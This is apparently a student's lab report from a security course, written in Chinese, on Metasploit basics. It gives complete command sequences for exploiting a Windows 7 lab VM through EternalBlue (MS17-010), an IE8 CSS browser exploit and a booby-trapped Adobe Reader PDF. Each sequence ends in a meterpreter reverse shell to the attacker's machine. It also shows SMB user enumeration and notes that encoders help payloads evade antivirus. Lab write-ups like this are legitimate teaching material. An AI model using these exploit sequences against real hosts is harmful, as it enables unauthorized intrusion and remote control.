20194311姜晨昊Exp6-MSF应用基础
零、实验准备
安装win7虚拟机,迅雷下载种子如下
ed2k://|file|en_windows_7_ultimate_with_sp1_x64_dvd_u_677332.iso|3320903680|743598C64E635C72964CF02A3E0AD547|/
VM简易安装,一直下一步即可
一、实践内容
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。
1.1 一个主动攻击实践
使用 ms17-010 永恒之蓝漏洞对 win7 进行渗透
- 永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。
漏洞介绍
在微软官方的漏洞库中,有此漏洞的介绍与补丁,补丁编号:KB4013389。永恒之蓝相关病毒,其实是利用了微软的 MS17-010 漏洞。MS17-010 是 Windows 系统一个底层服务的漏洞,恶意代码会扫描开放 445 文件共享端口的 Windows 机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
本实验使用 Win7 作为靶机来进行渗透测试
1.1.1 关闭防火墙
按图中操作即可
1.1.2 打开445端口
按图中操作即可
1.1.3 查看靶机IP地址
ipconfig
1.1.3 执行攻击
1.1.3.1 确认靶机是否存在漏洞
nmap -sS -A --script=smb-vuln-ms17-010 -PO 192.168.175.130这是Win7的地址
结果如下,我们可以看到,有此漏洞
1.1.3.2 确认漏洞对应的MSF板块
msf6 > search ms17_010
1.1.3.3 确认板块IP,执行攻击
use exploit/windows/smb/ms17_010_eternalblue
set rhost 192.168.175.130是Win7的IP地址
exploit
执行结果如下:
如上图所示,我们成功获得了目标主机的shell命令行,可以执行相关命令。
1.2 一个针对浏览器的攻击
使用微软ms11-003
漏洞
ms11-003(windows7IE溢出攻击) 是利用IE8中对css的解析存在一个问题,导致任何访问包含非法css的页面将导致IE8崩溃重启的漏洞。
kali(192.168.175.129)
靶机:Windows 7+IE 8(192.168.175.130)
攻击软件:metasploit
代码块:
//选择模块
use exploit/windows/browser/ms11_003_ie_css_import
//设置playload
set payload windows/meterpreter/reverse_tcp
//这是kali的地址
set srvhost 192.168.175.129
//也是kali的地址
set lhost 192.168.175.129
//下面的数字可以修改为学号
set uripath 4311
结果如下,我们获得了一个url链接:
之后:
在win7中,用IE访问:
在kali中,会有如下反馈
此时,执行:
sessions
选择1,获取到了shell
sessions -i 1
成功!
1.3 一个针对客户端的攻击,已adobe reader为例
漏洞:adobe_cooltype_sing
安装adobe reader
之后,执行以下命令:
use exploit/windows/fileformat/adobe_cooltype_sing //进入攻击模块
set payload windows/meterpreter/reverse_tcp //选择攻击载荷
set LPORT 4311
set FILENAME 20194311jch.pdf
set target 0
exploit
执行结果如下:
将文件复制到win7中
然后,我们进行监听,输入:
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/reverse_tcp //选择攻击载荷
set LHOST 192.168.175.129 //设置攻击机IP地址
set LPORT 4311 //设置端口号
exploit //攻击
此时,在win7中使用adobe reader9.0打开该pdf文件:
获取到了目标的命令行:
1.4 辅助模块的使用
metasploit的auxiliary(辅助模块): 包含扫描、fuzz测试、漏洞挖掘、⽹络协议欺骗等程序。
下面,进行SMB枚举
命令如下:
use auxiliray/scanner/smb/smb_enumusers
set rhosts 192.168.175.129 //目标ip
set sbmpass msfadmin
set smbuser msfadmin
exploit
二、问题回答
2.1 用自己的话解释什么是exploit,payload,encode
exploit:测试者利用系统、程序或服务的漏洞进行攻击的一个过程(开启监听?)。
payload:攻击者在目标系统上执行的一段攻击代码。
encode:为了减少或者避免使攻击载荷不能完整运行的“坏字符”和改变特征码,帮助攻击载荷避免被杀软发现。
扩充内容
- exploit模块
是利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
形象点来说就是攻击模块- Payload模块
是在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。
三种 payload:/usr/share/metasploit-framework/modules/payloads/
Single:all-in-one
Stager:目标计算机内存有限时,先传输一个较小的 payload 用于建立连接
Stages:利用 stager 建立的连接下载的后续payload- Encoder模块
针对payload进行编码,可以通过多种编码手段、多次编码方式有效的改变payload代码特征
不改变payload作用,但能对payload进行加工- Aux模块
能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。- Post模块
支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
这里主要指的是攻击之后可能用到的模块- Nops模块
是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90
因为有些代码返回地址很难确认,所以在实际中有时候会填充一大段空指令,便于快速确定返回地址的位置
2.2 实践总结与体会
在实验过程中我发现其实漏洞的年限都比较久远了,所攻击的系统也很久远,XP,win7都停服了。但这并不意味着现在用的最新系统就没有漏洞就不会有人攻击,还是需要不断努力完善。
通过本次学习我对虚拟机的安装也有了更多实践经验,自己新安装了一个win7虚拟机,虽然是英文的,但并不妨碍正常使用。
2.3 离实战还缺些什么技术或步骤?
从本实验可以看出,所有过程都需要靶机的配合,需要关掉靶机的防火墙和杀软,有的还需要在靶机上进行一些操作,距离实战我们还需要绕过防火墙、骗过杀软的方法,缺少了这些技术方法,我们实验的攻击方案基本没法实现。
同时我们使用的系统版本较老,也没有更新、安装过相关安全补丁,并且必须开放某些特定端口。
另外,离实战还欠缺一些基础知识,攻击漏洞的时候总是在一些奇怪的环节上卡住,需要进一步增强基础知识的学习